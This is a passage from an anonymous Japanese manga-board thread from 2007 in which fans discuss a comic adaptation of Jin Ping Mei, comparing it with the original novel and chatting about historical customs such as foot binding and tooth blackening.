そう思うとなんか、日本はまだ健康的だったんだなとか思ってしまう。
女性の長髪美信仰も、平安時代終わったら病的な程でも無くなったし。

125 :花と名無しさん:2007/10/23(火) 22:03:25 ID:???0
入浴も他の国に比べて頻繁だしね。
しかしお歯黒はわからん…

126 :花と名無しさん:2007/10/23(火) 23:06:17 ID:???0
中国のたんつぼだけは、理解に苦しむ

127 :花と名無しさん:2007/10/23(火) 23:44:20 ID:???O
纏足は一川の漫画で読んで痛そうでガクブルだった
(場合によっては骨も砕いて)折り曲げてぐるぐる巻き
ちょっとサイズが合わない靴はくだけで気が狂いそうになる自分は
纏足なんかしたら発狂しそうだな
そう考えると奥様達はすげーな

128 :花と名無しさん:2007/10/24(水) 00:11:17 ID:???0
>>124
纏足は「人工の性器」だとジェンダー関係の本にも書いてあった。
>>125
鉄漿(おはぐろ)は
「歯を剥き出しにするのは下品だ」との発想から
生まれた習慣らしいです。

白い歯が見える状態が動物が牙を向いた様子を連想させて
粗野に感じられたらしい。

129 :花と名無しさん:2007/10/24(水) 00:31:39 ID:???0
日本だから鉄漿=黒く染めるだけで済んだのかもね。
余所の国だったら容赦なく抜いてそうgkbr
纏足、「3寸金蓮」とかって十センチ以内が理想サイズってのもこえー。
これが直接の原因で死んだ女の子や女性も案外多かったんでないかな。
宦官といい、水銀を仙薬とかって飲んだり、あの国は昔から良く分からない。
昔の日本人があまり深く関わらない様にしてたのが分かる希ガス。

130 :花と名無しさん:2007/10/24(水) 00:37:19 ID:???0
鉄漿って虫歯予防の意味もあったはず
元々は男性もしてた

131 :花と名無しさん:2007/10/24(水) 00:45:39 ID:???0
>>130
今川義元は鉄漿してたっていうよね。
鉄漿て定期的にしてないと自然に剥げ落ちるらしいから
身なりに手の掛けられる貴族階級でないと
成り立たない習慣だったんだろうな。

132 :花と名無しさん:2007/10/24(水) 00:59:12 ID:???0
ジェンダー面から纏足を評価している研究者もいる。
前書きしか読んでいないが、かわいらしい纏足靴がいっぱい載っている。
アマゾンのレビューも批判の声が大きいが

133 :花と名無しさん:2007/10/24(水) 01:08:17 ID:???0
>>132
実際、博物館みたいな所に行って
過去に履かれていた纏足靴を見るとゾッとしますよ。
「これ、靴じゃないでしょ…。」
「こんなのを美しいとした時代が本当にあったの?」と思ってしまう。
歩行どころか直立するのも容易でない女性も多かったはず。

134 :花と名無しさん:2007/10/24(水) 01:14:21 ID:???0
だからその状態で直立しようとすると内股に力が入るので名器になるって説がある
あと纏足をきつく包む布を解いて良いのは夫だけでその際の匂いが物凄くそそる媚薬効果があるとかも…

135 :花と名無しさん:2007/10/24(水) 01:27:40 ID:???0
金蓮じたいが纏足という意味だからなあ

136 :花と名無しさん:2007/10/24(水) 01:28:47 ID:???0
竹崎先生はリアルに描かないでうまくごまかしているんだよなあ。

137 :花と名無しさん:2007/10/24(水) 01:33:59 ID:???0
>>135
「三寸金蓮」からの命名だからね>金蓮

「纏足による完璧な足を持つ性愛をそそる美女」て意味。
もっとも、藩金蓮は受身で性愛の対象にされるのではなく
自らも性愛を求める点が新しいわけだが。

138 :花と名無しさん:2007/10/24(水) 01:34:19 ID:???0
足を包んでる布って普通に臭そうな気がするんだけど。
当時は今ほど清潔志向じゃないし。

139 :花と名無しさん:2007/10/24(水) 01:45:13 ID:???0
>>138
その「臭いのがいい」って性的嗜好なんでは。

どのみち女性側の健康や生活上の利便性を無視した
悪習であることに変わりはない。>纏足

140 :花と名無しさん:2007/10/24(水) 09:49:18 ID:???0
>>138
その臭いで昔の中国の男は興奮したんだって。
大学の時に女性学の先生が言ってたよ。

141 :花と名無しさん:2007/10/24(水) 10:50:45 ID:???O
纏足って西太后が廃止したらしいけど、いつの時代からあった物なの?

142 :花と名無しさん:2007/10/24(水) 11:43:27 ID:???O
スレチだが藤田あ でも纏足の話あったよね
最後の方は田舎の人しかやらなくなったってやつ

金蓮はお母さんにやって貰ったんだっけ?
早めにやっていかに完成形を小さく作るのが
母親の愛情だったんだよね当時…
今だとアフリカのクリ割礼とか女性器縫い合わせに当たるのかな

143 :花と名無しさん:2007/10/24(水) 12:09:29 ID:???0
唐時代からちらほら・・・で宋代で広まって、明代で庶民にも浸透だっけ>纏足
清朝はたびたび禁止令を出したというから、あの変な(?)辮髪の満州人から見ても
纏足は良く分からない風習だったんだろうね。
怖いのは、ヨーロッパのコルセットも日本の超長髪も貴族の風習で終わったけど
纏足は庶民にまで広まってたって事かな。あれで仕事とか無理だよね。
それでもあんまり纏足完成まで女の子が苦しむから、親類や近所の人に代わりに
やってもらった親も多かったらしいが。

も一つ変わった好みが、金蓮が瓶児のあそこの毛を剃っちゃう仕返しがあったけど
どうもそこの毛が毛深いというか長いというか・・・の女性が好まれたとかいう
話も聞いたかな。楊貴妃のどこが美人ってぶっちゃけそこだったと・・・。
もう歴代皇帝の好みとなると、普通の基準の美人じゃ飽き足らなくて、今で言う
シャム双生児みたいな双頭や背中だけくっついた双子を珍重だと言って愛でたり
・・・もうかの国の美形の基準は良く分からん時がある・・・

144 :花と名無しさん:2007/10/24(水) 12:22:01 ID:???O
毛の手入れ=大人の証とか、楊貴妃は強烈なワキガで
風呂入った後風呂が匂ってそれをこぞって嗅いだとか本で読んだキガス

145 :花と名無しさん:2007/10/24(水) 14:01:56 ID:???O
楊貴妃はえもいわれぬかぐわしい香りを放っていた…と高校の世界史の時間に聞いて、
なんか香水や花や果物のいい香りが体から出てたのかなぁ、と当時想像してたけど、
そうか、ワキガの香りだったのか…orz

146 :花と名無しさん:2007/10/24(水) 18:20:18 ID:???O
物語のキャラだけど、源氏物語の薫もワキガって事になるのか…?ww

美的感覚でさえ、今とかけ離れているから
古代と匂いの感覚が違ってもおかしくは無い…か??

147 :花と名無しさん:2007/10/24(水) 18:30:56 ID:???0
腋臭のにおいって酢系と生臭系が主だけど
極少数派で中には麝香そっくりのもあるから油断出来ない

148 :花と名無しさん:2007/10/24(水) 22:52:38 ID:???O
酢系と生臭系に鉛筆削り(ジャンバラヤン)系もあるね
ジャコウな方もいらっしゃるなんて奥が深いですね

149 :花と名無しさん:2007/10/24(水) 23:23:43 ID:???0
>>148
鉛筆削り!ソレダ!
あれって腋臭だったんだ!?
鉛筆削りみたいな匂いの方がいていつも不思議だったんだよ
ジャンバラヤンともいうの?メキシコ料理だよね?

150 :花と名無しさん:2007/10/24(水) 23:29:01 ID:???0
>>146
対抗した匂宮は真っ当に香に凝ったんだからそんなことはないんじゃない?
薫にしろ子供の頃からだし。子供には腋臭ってないよね。

151 :花と名無しさん:2007/10/24(水) 23:53:14 ID:???0
薫は梅の花の香りだったかと。そこは流石に物語だから・・・w

152 :花と名無しさん:2007/10/25(木) 00:02:33 ID:???0
薫のあれは「母君は尼、実父は故人」という抹香くさい出自を表すキーワードだからw

>150
少数ながら子供でもワキガ持ちはいるよ
思春期以降はアポクリン線(別名:性腺w)が発達するので匂いが強まる
それまでワキガ持ちじゃなくても潜伏要素が花開くので数が増える&匂いが強いので目立つ

153 :花と名無しさん:2007/10/25(木) 00:15:17 ID:???O
今月の怖童に藤田あの楊貴妃の話が載ってる
あちらにも書いたがこのスレ見た後だから読んでて想像しちまった

154 :花と名無しさん:2007/10/25(木) 01:49:06 ID:???0
>151
梅は珍しいけど栗ならわりと普通ww

155 :花と名無しさん:2007/10/25(木) 20:53:38 ID:???0
ちょっとスレ違いなんだけど母が韓国ドラマ・キム尚宮ってDVDかりてきてみたんだよ
ヒロインのキム尚宮が畑で放置されて腐ってドロドロになってハエも近寄らないかぼちゃみたいな性格で
金蓮ねえさんがいたら、絶対にお仕置きしてシバキ殺してくれるだろうになと思ってみてた
こんな糞女みてると金蓮ねえさんみたいな美学もった悪女は必要悪だってすごくよくわかる。

156 :花と名無しさん:2007/10/25(木) 22:20:55 ID:???0
>>155
今さっきサンテレビでやっていたのを見たような

157 :花と名無しさん:2007/10/25(木) 23:53:34 ID:???O
ぶんか社悪女対決
金蓮 vs 清
金蓮 vs 芙蓉

158 :花と名無しさん:2007/10/28(日) 07:06:57 ID:???0
金蓮姐さんの相手としては力不足だな
Hな悪知恵しかでないってのがね
もっと権謀術数にたけた人間でないと

159 :花と名無しさん:2007/10/28(日) 21:05:49 ID:???O
大奥様・フウさん・大旦那様しか思いつかね〜w

160 :花と名無しさん:2007/10/29(月) 06:48:14 ID:???0
その中でも大奥様に限っては、金蓮に超えて欲しくはないとこだな…

161 :花と名無しさん:2007/10/29(月) 20:47:29 ID:???O
金蓮姐さんが怒りながらも桂々のオムツを変える姿にニヤニヤしてもたww

162 :花と名無しさん:2007/10/30(火) 00:03:36 ID:3BsEuMMB0
奥様方の百合とかないかな…
春梅と秋菊の仲良さ?に結構ときめいてしまったんだけど

163 :花と名無しさん:2007/10/30(火) 00:23:48 ID:???0
新展開きたね。ついに、ってかんじ?


164 :花と名無しさん:2007/10/30(火) 01:07:01 ID:???0
経済兄さん、顔立ちだけ何となく武松に似てね?あくまで顔だけだが。
しかし、そう来たかーって感じの流れだね。

165 :花と名無しさん:2007/10/30(火) 16:26:50 ID:???0
瓶児妊娠に以降するのかと思っていたが、
人気漫画っぽいから、やっぱりそんなに簡単に終盤に近づかないのか。


166 :花と名無しさん:2007/10/30(火) 16:40:01 ID:???0
あの庭師がまさかまさか・・・な展開だったなw
でも面白そう。今回ストーリー中あの娼婦の母か赤ん坊はどっちか絶対死ぬと思ったがどっちも無事
生き延びる事ができたし生意気な鳥は死んだしwいつもの怖い話とは違った話でほのぼの。
庭師と金蓮の浮気フラグ立っててちょっと心配だけど。

167 :花と名無しさん:2007/10/30(火) 20:06:12 ID:???0
身請けするわけでもない女に大金ぽんと出してやるなんて
旦那様って、こういう面だけは本当にいいひとなんだよね


168 :花と名無しさん:2007/10/30(火) 23:16:17 ID:???0
イケメンがきたね〜 ワクワク
しかし、金蓮は一巻あたりの好きものキャラと
変わってしまっているよーな

169 :花と名無しさん:2007/10/30(火) 23:46:53 ID:???O
経済さんイカスwラストのコマのきまづそーな二人の顔ワロス

170 :花と名無しさん:2007/10/30(火) 23:47:56 ID:???O
>>167
金絡みの問題を呼び込む無造作さはちよっと…いつも処理できてないし
まあ、今回は良かったけどな。うん

171 :花と名無しさん:2007/10/31(水) 01:10:24 ID:???0
その辺はほれ、今回は金蓮が旦那様のツボを心得ててアドバイスしてたから。
旦那様には、大奥様タイプと金蓮タイプ、両方いないとダメなんだよ。

172 :花と名無しさん:2007/10/31(水) 08:23:57 ID:???0
母子の情に弱いって、やっぱり実母が寝たきりで
母親に甘えられなかったってことが影響してるのかな
ゆうしょうの時も、あの馬鹿親父説得してやってたし

173 :花と名無しさん:2007/10/31(水) 11:09:01 ID:???0
しかし、毎回金蓮が男装する度に思うけど、あれ男に見えるのか?
百歩譲ってオカマってことにしてもオカマは遊郭に行かないだろうし

174 :花と名無しさん:2007/10/31(水) 13:40:03 ID:???O
もしくは「男装して他人の情事を覗く趣味がある女」と思われてるとかw

175 :花と名無しさん:2007/10/31(水) 15:16:16 ID:???0
今回は死人はでなかったけどあの九官鳥はなんだか不憫だった
飼い主が悪いだけで動物には罪ないから
ヒトマネするのは九官鳥の本能で悪意ないしね
でも赤ちゃんが焼け殺されるよりはマシだけど

176 :花と名無しさん:2007/10/31(水) 15:56:36 ID:???0
新キャラの庭師かっこいい萌えたw

177 :花と名無しさん:2007/10/31(水) 18:20:39 ID:???O
瓶児と庭師が浮気して旦那さまの子です、って偽る展開にはならないかなあ。

178 :花と名無しさん:2007/10/31(水) 20:25:11 ID:???0
あの瓶児ならやりかねん
しかも本人は、庭師と関係もったくせに
「私が愛してるのは旦那様だから子供は旦那様の子よ」
と本気で信じてそうなストーリーが浮んでしまった。

179 :花と名無しさん:2007/10/31(水) 21:01:26 ID:???O
>>173
金持ちってことで、その辺は廓の人たちは不問にしてるのかもね。

瓶児が陳経済とHしそうになったら、フウさんが邪魔に入らないのかな。
それとも西門家が繁栄するためなら「子種が薄そうな旦那様より、陳経済で瓶児さんを妊娠させて…」になるんだろうか。

ところで今回の最後のところで金蓮と陳経済がお互い気まずそうにしてて安心。
陳経済が大旦那様ばりにニヤリなんてしたら、また何のフラグか気になって仕方ないところだったよ。

180 :花と名無しさん:2007/10/31(水) 23:08:12 ID:???O
陳経済、今までにないキャラだよな
良い人=面白みの無いクソ真面目人間
遊び人=ちゃらんぽらんかダメ人間
イケメン=サイコな病的な精神の人か阿呆て感じだったけど
娼妓もなんか企んでる系かと思ったらしっかりしした良い娘だったし


181 :花と名無しさん:2007/10/31(水) 23:14:31 ID:???0
>>179
雇い主の妻に言い寄ってた事がばれるとマズいから
気まずかったとか?

182 :花と名無しさん:2007/11/01(木) 14:22:03 ID:???O
原典では金蓮は経済の子を孕むけど中絶、経済は春梅を身請けして春梅だけハッピーエンドだったっけ?

183 :花と名無しさん:2007/11/01(木) 18:03:41 ID:???0
>>182
微妙に違うとオモ。
春梅がいいところの奥様に納まったあとに経済を引っ張り込む。

184 :花と名無しさん:2007/11/01(木) 19:16:30 ID:???0
それも経済は乞食小屋でお尻を可愛がられる生活にまで
落ちてた。
西門大姐の婿さんだったのに、紆余曲折があって月娘
奥様にたたき出されてから、まっさかさまに落ちてしまう
哀れ、というかアホたれだったな。

185 :花と名無しさん:2007/11/01(木) 20:11:32 ID:???0
>>184
乞食小屋でお尻を可愛がられる生活>>

あの……下世話な話ですみませんが
それって、もしかしてゲイ相手の売春ってことですか?

186 :花と名無しさん:2007/11/01(木) 20:38:00 ID:???0
売春っていうか、食べさせてもらう代わりにお尻で乞食のみなさんに
奉公していたよ。
元良家のボンボンだから、肌が綺麗で日焼けもしてないって可愛がられて
いたそうな。

187 :花と名無しさん:2007/11/01(木) 21:54:17 ID:???O
ここで一つ、経済×秋菊という組み合わせをプッシュして見たいんだ。



優しいし要領いいし、評判の庭師っていうなら生活もそこそこだろうし
女に手慣れてるけどチャラ男っぽくないし
春梅より秋菊に合いそう

188 :花と名無しさん:2007/11/01(木) 22:13:52 ID:???0
経済って元の話に出てきたキャラだったのか。てっきり竹崎先生のオリジナルだとばかりこのスレ見るまで思ってたw
つかひどい末路だな。そんな落ちぶれるような人には見えないし。

189 :花と名無しさん:2007/11/01(木) 22:40:29 ID:???O
そんな事言ったら原典の雪娥姐さんが不憫だ(つД`)

190 :花と名無しさん:2007/11/02(金) 00:02:38 ID:???0
>>173-174
宝塚の男役みたいなのじゃないか?

それにしても、娘婿がこんな登場するとは思わなかったよ。
月娘奥様がお輿入れになる前に、他家の養女(里子かな?)になった
お嬢さんにも興味ある。

あと原点の雪娥姐さんも、竹崎ワールドでされたら可哀想だけど
彼女を虐め抜いた春梅も見たくないな。

191 :花と名無しさん:2007/11/02(金) 00:29:50 ID:???0
経済がでるってことは終わりが近いとまではいわないが
新展開ということでおkかな
まだ読んでないので何だが。

192 :花と名無しさん:2007/11/02(金) 20:54:37 ID:???0
>>190
春梅のイジメは酷すぎるよね。
あそこまで雪娥を酷い目にあわせるのは、あんまりだと思う。
金蓮死後、春梅はどこか壊れてるような感じ。
やっぱり春梅が一番愛してたのは、金蓮なのかなぁ…

193 :花と名無しさん:2007/11/02(金) 21:27:25 ID:???0
そこまで言わせるなんて春梅はどんな酷い事をしたんですか?
そして、なんで雪姐さんをそんなに恨んでいたのか。
原典は読んだ事もないけど、竹崎版の西門家の人たちは
みんな好きだからあまり不幸になってほしくないなあ……。
瓶児のおばかさんぶりも、なんだかんだいって愛着あるから。

194 :花と名無しさん:2007/11/02(金) 22:05:06 ID:???0
>>193
私も「原典読めばいいじゃん」とは自分でも思うんだけど
なんか読む気になれない飜訳ばっかりでなあ…

195 :花と名無しさん:2007/11/02(金) 22:07:06 ID:???O
最近は瓶児が哀れな役回りすぎてかえって同情しちゃうぜ。
何か別の道で幸せになってほしい。
旦那様の心は金蓮のものでも子供を産むのは瓶児でいいと思う。


…ってこれ、ひょっとして竹崎さんの罠にハマってる?w

196 :花と名無しさん:2007/11/02(金) 22:40:03 ID:???0
>>193
うろ覚えだけど、西門家にいた頃ちょっとした事で金蓮に怒られた春梅が
台所で物に当たってたら、雪娥に「何怒ってるの!ここにあんたのいい人
なんか来ないわよ」みたいな感じでたしなめられたのに逆切れ。
部屋に帰って金蓮に「雪娥姐さんが私たちの事を男好きのスケベ主従と
言ってました!」って告げ口。
その後金蓮・経済の不義が発覚した時に、月娘奥さんに雪娥は「災いの
元の春梅も追い出した方がいい」と提案。月娘は受け入れ春梅を売り飛ばす。

立場変わって雪娥が春梅の飯炊き女になった時、着ていた服を脱がせて
ボロを着せ、こき使い、経済を家に引っ張り込む為に雪娥にインネンつけ
る事を考える。仮病おこした春梅は雪娥にスープを作らせるが不味いの
酸っぱいのと文句をつけまくる。雪娥はうっかり「フン!いつそんなに
偉くなったのさ!」とこぼしたら、春梅の女中がそれを告げ口する。
春梅は雪娥を庭に引きずり出し、裸にしてボコボコにした挙句、淫売宿に
叩き売る。

197 :花と名無しさん:2007/11/02(金) 23:46:37 ID:???O
あらすじは知ってたけど詳細見ると改めて春梅ヒドスwwwwww
竹崎春梅も初期は虎の威を借りてる節があったけど金蓮同様いい子補正されてるよね。
春梅は他の奥様達にいじめられてるけと秋菊は同じ金蓮付きなのに何もされないのはそーゆー事だろうしね。

198 :花と名無しさん:2007/11/03(土) 00:59:07 ID:???0
「雨の日に出会うのにぴったりの名前だ」って
旦那様じゃなくても、ちょっと気のきいた男なら言うぞ、金蓮姉さん。
あせりすぎっす。
旦那様のこと以外だとあんなにかっこいいのに、むちゃくちゃ好きなんだねえ・・・。

199 :花と名無しさん:2007/11/03(土) 02:12:54 ID:???0
金瓶梅って、作者も成立年代も諸説紛々で、ホントの原本はどうだったのか
実は案外はっきりしてない希ガスので、竹崎金瓶梅系もアリだと思う。
日本の物語や随筆が、時代時代の権力者の手でかなりしっかり守られて来たのと
やっぱそこらが違うかな。
そもそも「小説」って意味自体が「大説(=史実・史記等)」に比べて
「でっち上げの取るに足らないもの」って意味で、更に儒学の影響とか戦乱も
あって大事にされて来なかったから、金瓶梅も日本人の方が詳しい位じゃまいかと。
まあその割に司馬遷・杜甫・李白・白居易も向こうの連中知らないけどなあ。

200 :花と名無しさん:2007/11/03(土) 02:21:46 ID:???0
>>197
初期の話で旦那様、金蓮、春梅が三人で閨にいて
仲間から外れて一人泣く秋菊に
雪娥が声を掛ける描写があるね。

雪娥が春梅に冷笑的な態度を取るのはその後で
そこには嫉妬心の他に秋菊への同情心もあると思われる。

201 :花と名無しさん:2007/11/03(土) 02:26:16 ID:???0
ようやく単行本の4巻をget。(何故か書店で見あたらなくてブクオフまで回った)
で、凄い遅い話題で申し訳ありませんが、武松が滝壺で金蓮を襲う計画をしていたときのこと。
雑誌でさらりと読んだときは金蓮にウンカを人質にとられ、
「この世で一番(の憎悪の対象)の女=金蓮を殺す<ウンカの命」で土下座してしまう武松は
なんのかんの言って金蓮よりウンカを選択したのか、ガッカリ…と思っていました。
しかし単行本で改めて読み返すと
倒木→バランスを失う金+ウンカ→差し伸べられる手(武松)→金蓮を抱き留める
→金蓮より下方に落ちていく武松→武松とウンカが二人とも落ちたと思う金蓮
ってことは、武松は「ウンカより先に金蓮をとっさに助け、その後ウンカを助けた」でok?
(金蓮の方が崖の上の部分で助かってるよね?)

いや、旦那様もいいんだけど、金蓮の武松への絶望的な片思いじゃなくて
武松も憎悪と同じ分金蓮のことを実は愛してるといいなぁと思って。
そういう解釈有りだよね?

202 :花と名無しさん:2007/11/03(土) 02:45:15 ID:???0
>>201
そういう解釈も成り立つし
また、そういう解釈を読者に期待する描き方だとも思うよ。

武松の様な男性にとって
愛情も憎悪も大差ない表れ方をするのかもしれない。

203 :花と名無しさん:2007/11/03(土) 07:35:19 ID:???O
でもあれだけとっさの間に二人の人間を助けあげる敏捷さって凄いよね。
本気を出せばもっと強い男なんじゃないか?

204 :花と名無しさん:2007/11/03(土) 08:28:53 ID:???0
>>203
「水滸伝」の英雄だし身体能力は高いでしょう。

ただ、他人の感情を斟酌する能力が極度に低いというだけで。

205 :花と名無しさん:2007/11/03(土) 22:46:19 ID:???0
筋肉バカって事だね

206 :花と名無しさん:2007/11/04(日) 00:03:32 ID:???0
今回の赤ん坊の母親、忘れ形見って言ってたけど
ああいう仕事してたら赤ん坊が彼の子供かどうかなんて分からないと思うんだが
それを分かっている上でのことかな

207 :花と名無しさん:2007/11/04(日) 00:25:22 ID:???0
最初は男が客として来た→好き合う→仮病とか色々使って他の男はシャット
していた時期があった→御懐妊という流れだと勝手に脳内補完していた。
でなければ、一時期廓を抜け出して男と暮らしていた時期があったか。

どちらでもないとすれば瓶児と同じような妄想タイプだが。

208 :花と名無しさん:2007/11/04(日) 01:48:38 ID:???0
>>206
1 危険日を判断できた
2 好きな男がいる間、他の男はスマタでごまかしていた
3 実は後ろ専門
4 好きな男相手のとき以外は、膣内に避妊のためのなにかをしこんでた

他にあるかなー


209 :花と名無しさん:2007/11/04(日) 02:01:47 ID:???0
例の「厄介袋」をただの客相手の時は快楽用の性具と称して使っていたとか?

それよりも産前産後の体型などの変化を誤魔化しとおした方が凄いと思った。

210 :花と名無しさん:2007/11/04(日) 02:06:23 ID:???0
いや、それもだけど初産だというのに一人で産み、仕事を続けたのもすごすぎる
普通、廓に共犯者が複数いないと不可能だ

211 :花と名無しさん:2007/11/04(日) 09:35:36 ID:???0
赤ん坊が壷の中で用を足してたりとかの可能性を考えるとなあ…

212 :花と名無しさん:2007/11/04(日) 11:38:59 ID:???0
乳児のうちはともかく、ハイハイするようになったら
どうするつもりだったんだろう…

213 :花と名無しさん:2007/11/04(日) 12:56:02 ID:???O
はっ!ま、まさか……いや間違いない。
この理由だからこそ好きな男の子供を妊娠出来たし、
お腹も目立たず出産もバレなかったんだな。その理由とは………












「漫画だから」orz

214 :花と名無しさん:2007/11/04(日) 13:22:08 ID:???0
>>208
うしろに出しても、流れるしあんまり意味無いかも?
精液がぱんつについて、仕方ないから穿いたら妊娠したって
事もあるそうだから、油断できん。

215 :花と名無しさん:2007/11/04(日) 16:36:09 ID:???0
あんなうるさい嫌なババアがいるのに、隠し通せるなんて現実では
不可能に近いと思う。

216 :花と名無しさん:2007/11/04(日) 17:15:25 ID:???O
そこはまあ、漫画だからw
金蓮の変装がバレなかったり運動神経いいのと同じ。

217 :花と名無しさん:2007/11/04(日) 17:53:57 ID:???O
漫画だからなぁ〜と思いつつも、でも楽しく読めるから良しとしようw


218 :花と名無しさん:2007/11/04(日) 18:42:41 ID:???0
そうそう、変な所があっても「ま、いっか〜」で終わる。
漫画によっては突っこみ入れたくなる作品も多いけど、
なんか笑って済ませられるんだよね。

219 :花と名無しさん:2007/11/04(日) 19:54:35 ID:???0
泣くのが仕事の赤ん坊が壷の中で何時間もおとなしくしていることもね!

220 :花と名無しさん:2007/11/04(日) 20:13:17 ID:???0
自分は、ウカの乳をもんでるうちに絶対母乳が出るだろ、旦那様…と思ったよ。
なんかこう、いつも以上に無理があった設定の話だったな

221 :花と名無しさん:2007/11/04(日) 20:15:29 ID:???0
あんま乳揉まないんじゃね?

222 :花と名無しさん:2007/11/04(日) 21:32:19 ID:???0
「そういう体質なんです」つっとけば済むのが旦那様。
金蓮が纏足で大の男を蹴飛ばしてる方がよっぽどすごいとおも。

223 :花と名無しさん:2007/11/04(日) 22:15:25 ID:???0
纏足で恵蓮を車から引きずりぶん投げ降ろしたのもすごいよねw

つか男装は顔立ちとか体格、声もそうだけど
歩き方なんかでもバレちゃいそうなもんだと思うが。

224 :花と名無しさん:2007/11/04(日) 23:19:10 ID:???O
男で耳飾りしてて良いのか?>男装金蓮

225 :花と名無しさん:2007/11/05(月) 01:40:24 ID:???0
竹崎先生、大人の描き分けは上手いのに、
赤ん坊は描くの下手だな・・・

226 :花と名無しさん:2007/11/05(月) 02:12:48 ID:???0
>>225
難しいんじゃないかな。

赤ちゃんの顔て大人みたいに特徴が固定した顔立ちじゃないから。

227 :花と名無しさん:2007/11/05(月) 08:03:50 ID:???O
動物もたまに「ん?」な時があるよね。最近はそうでもないけど。

228 :花と名無しさん:2007/11/05(月) 13:38:08 ID:???O
雪獅子が初登場した時
(何この怖い奴…狐?狼の子供?動物霊?)
金蓮「あら綺麗な猫」
(ぬこ!?)
と思ったのは私だけだろうか。

229 :花と名無しさん:2007/11/05(月) 13:38:49 ID:???O
雪獅子ってかわいくないよね
猫好きだけどキュンともこない

230 :花と名無しさん:2007/11/05(月) 14:12:30 ID:9/RyX3yr0
嬌児妊娠騒動の時首根っこつかまれてる
雪獅子は可愛いと思った

231 :花と名無しさん:2007/11/05(月) 14:59:00 ID:???O
愛らしいよりは今の雪獅子のが絵的にも、雪獅子の金蓮以外になつかない(だっけ?)
って設定にもあってると思うけど。
テン(イタチみたいな)は可愛かったけど

232 :花と名無しさん:2007/11/05(月) 17:09:03 ID:???0
あの猿は可愛かっただろう(飼い主はDQNすぎるけど)

233 :花と名無しさん:2007/11/05(月) 19:47:46 ID:???O
大奥様の従姉のデブスDQN婆とぶっさいくな低能なガキの話の
「もっとガブリと噛んでやれば良かったのに!」でしょぼくれてた雪獅子は可愛い。
二巻の書き下ろし短篇のは目がロンパってて怖いw

234 :花と名無しさん:2007/11/05(月) 21:56:17 ID:???O
武松が出ると…
旦那様が魅力減して、金連がただの悪女に見える

235 :花と名無しさん:2007/11/05(月) 22:37:54 ID:???O
私は悪女金蓮が好きだが。サド顔が映える
旦那様はウンカ凌辱が最盛期だった

236 :花と名無しさん:2007/11/06(火) 00:11:07 ID:???0
ウンカってだれだっけ

237 :花と名無しさん:2007/11/06(火) 00:14:19 ID:???0
>>236
武松にくっついてるウザい金魚のうんこ

238 :花と名無しさん:2007/11/06(火) 02:22:13 ID:???O
実の母から「女の子なんか役に立たない」と言われて育ったウンカは
頑張って役に立って必要とされたい、自分を認めてほしいという思いが
強いんだろうな。武松みたいなダメ男ほど尽くし甲斐があって魅力的なのかも。
体で稼いだ金をヒモに吸い取られてる女が「この人は私がいなきゃ
ダメなのよ♪」というような典型的な共依存カップルに見える。

239 :花と名無しさん:2007/11/06(火) 06:38:05 ID:???0
>>237
ウンカは彼女自身にとっては致し方ない事情や健気さがあるから
「ウザイ」と言うのは酷な気がするけど
いかんせんキャラクターとしての魅力に乏しいんだよね。

男装の美少女なら
(『並の器量』と劇中では評価されているけど絵柄は一応可愛い)
もっと魅力あるキャラクターに出来そうなんだけど
武松がつまらないのでそれに尽くす彼女も退屈に見えてしまう。

240 :花と名無しさん:2007/11/06(火) 09:02:23 ID:???0
武松が滝のシーンで、復讐を成し遂げるよりも土下座をした時、ヘタレと言わ
れているけれど、私は金蓮を殺す事しか考えていなかった筋肉ヴァカが
「?哥の献身的な愛情」
で、もっと大切な何かに目覚めつつあるのかな?と思えて、ちょっと泣けた。

ちょっと話が飛ぶけれど、ドイツでは「ヘンデルとグレーテル」を、あまり
読ませない風潮があるらしい記事を読んだ。魔女が竈にぶち込まれる場面が
ナチスとダブルかららしい。
キンペも、金蓮の立場から見たら、たとえ殺されても『只の勧善懲悪』では
ないし
「『目には目を』で溜飲を下げるのは、如何な物か?」
と言う考えもあるからね。しかし、最近の凶悪な事件を見ると『目には〜』
としなければ、犯人の更正もありえないのか…と考えてしまわざるを得ない
所が悲しい。

実は、旦那様が死んでからも読み甲斐のあるキンペが、竹崎ワールドでは
(他の作品も綺麗に纏めてくれているが)どう終わるのか楽しみ。

241 :花と名無しさん:2007/11/06(火) 09:16:12 ID:???0
「ウンカ」の「ウン」の字失敗した。これで見られるかな?(?)鄆半角

>>237-239
少女、?哥を見ながら、ジャッキー・チェンを考えたら魅力出ないだろうか?

242 :花と名無しさん:2007/11/06(火) 09:17:57 ID:???0
また失敗した。豚箱に行ってきます!
 /゛


243 :花と名無しさん:2007/11/06(火) 09:39:59 ID:???0
>>241
ジャッキー・チェンて無名時代にポルノ版の「金瓶梅」で
ウンカを演じたことがあるんだよね。

原典のウンカは列記とした男性だから。

244 :花と名無しさん:2007/11/06(火) 09:52:35 ID:???0
ウンカて主要な女性キャラの中では
秋菊よりも気の毒な境遇なんだよね。

実の母親からは明らかに愛されておらず
男性でないことへのコンプレックスを植え付けられた上に
「お前の様な並の器量では云々」発言のおかげで
女性としての人生にも希望が持てなくされている。

性別を偽って労働する中で
優しくしてくれたのは武大・武松兄弟くらいだったのだろうが
これも飽くまで他人の親切心の範疇を越えない。

貞操を弄ばれ痛めつけられる屈辱的な形で処女を失い、
その後売春を生業にするが、
瓶児の様に肉体的な喜びに目覚めた様子もない。

どこを向いても救いがない。

245 :花と名無しさん:2007/11/06(火) 10:23:26 ID:???O
よくよく考えると陰鬱な気分になってくるので読者的には
『ウザい』の一言ですます方が精神衛生上良いよね。
この先、報われ展開があるともつかないし
そもそも、不快な連中をシメあげる事で爽快感を得る作風に合わない

246 :花と名無しさん:2007/11/06(火) 14:26:26 ID:???0
唐突だが、西門慶と武松、どっちがお馬鹿さんだと思う?私から見ると、目糞鼻糞・・・


247 :花と名無しさん:2007/11/06(火) 14:53:44 ID:???O
色ボケと筋肉脳…いい勝負だね。

248 :花と名無しさん:2007/11/06(火) 17:00:40 ID:???0
西門慶って、ああいう境遇で育ったら正妻ひとりを大事にするか、
あるいはストイックに女性を遠ざけて生きそうな気がするのだけど・・・。

父親のように女性を虐待はしないけれど、女好きだよね。
優しくするからって、こんなにもあの女もこの女も・・・って、どうなんだろ。
母親のぬくもりに飢えて育ったから、女性を求めるのか。

それにしても、皮肉なくらい父親にそっくりな女好きだよね。

249 :花と名無しさん:2007/11/06(火) 18:02:27 ID:???O
初期は略奪婚したり、男性的な面が目立ってたけど
回を重ねるごとに優柔で女寄りの思考になってきたな。
あまりフェミ色を強調されるのは、いくらレディコミとはいえ鼻につく

250 :花と名無しさん:2007/11/06(火) 20:00:23 ID:???0
